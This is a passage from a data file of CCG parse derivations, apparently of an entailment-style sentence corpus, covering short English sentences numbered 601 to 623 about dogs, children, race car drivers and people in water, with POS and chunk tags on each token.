fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'pouring', 'pour', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'ingredients', 'ingredient', 'NNS', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pot', 'pot', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(601,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'leaving', 'leave', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'dirt', 'dirt', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(602,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'chasing', 'chase', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'dirt', 'dirt', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(603,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'dog', 'dog', 'NN', 'I-NP', 'O'),
t(n, 'standing', 'standing', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(604,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'golden', 'golden', 'JJ', 'I-NP', 'O'),
t(n, 'fur', 'fur', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(605,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sidewalk', 'sidewalk', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'sign', 'sign', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(606,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'sign', 'sign', 'NN', 'I-NP', 'O'))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sidewalk', 'sidewalk', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(607,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'guided', 'guide', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(608,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'splashing', 'splash', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(609,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
rp(s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'painted', 'paint', 'VBN', 'I-NP', 'O'),
t((s:pss\np)\(s:pss\np), 'beige', 'beige', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
lx((s:pss\np)\(s:pss\np), s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dark', 'dark', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'colored', 'colored', 'JJ', 'I-NP', 'O'),
t(n, 'shirts', 'shirt', 'NNS', 'I-NP', 'O')))))))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'monitor', 'monitor', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'background', 'background', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(610,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'beige', 'beige', 'NN', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O'))),
t(comma, ',', ',', ',', 'O', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dark', 'dark', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'colored', 'colored', 'JJ', 'I-NP', 'O'),
t(n, 'shirts', 'shirt', 'NNS', 'I-NP', 'O')))))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'monitor', 'monitor', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'background', 'background', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(611,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'jeans', 'jeans', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/(s:adj\np), 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
t(s:adj\np, 'happily', 'happily', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'horse', 'horse', 'NN', 'I-NP', 'O'),
t(n, 'saddle', 'saddle', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(612,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'jeans', 'jeans', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'saddle', 'saddle', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(613,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'baseball', 'baseball', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(614,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'dropping', 'drop', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'baseball', 'baseball', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'from', 'from', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(615,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'swimsuit', 'swimsuit', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'kiddies', 'kiddie', 'NNS', 'I-NP', 'O'),
t(n, 'pool', 'pool', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(616,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'shorts', 'shorts', 'NNS', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'paddling', 'paddling', 'NN', 'I-NP', 'O'),
t(n, 'pool', 'pool', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(617,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ocean', 'ocean', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sunset', 'sunset', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(618,
rp(s:dcl,
ba(s:dcl,
t(np, 'Nobody', 'nobody', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ocean', 'ocean', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sunset', 'sunset', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(619,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'race', 'race', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'car', 'car', 'NN', 'I-NP', 'O'),
t(n, 'driver', 'driver', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'pointing', 'point', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'hand', 'hand', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sky', 'sky', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(620,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'race', 'race', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'car', 'car', 'NN', 'I-NP', 'O'),
t(n, 'driver', 'driver', 'NN', 'I-NP', 'O')))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O'))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'motionless', 'motionless', 'JJ', 'I-ADJP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(621,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'race', 'race', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'car', 'car', 'NN', 'I-NP', 'O'),
t(n, 'driver', 'driver', 'NN', 'I-NP', 'O')))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O'))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:ng\np), 'fiercely', 'fiercely', 'RB', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'pointing', 'point', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'hand', 'hand', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sky', 'sky', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(622,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'colorful', 'colorful', 'JJ', 'I-NP', 'O'),
t(n, 'helmet', 'helmet', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(623,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bicyclist', 'bicyclist', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
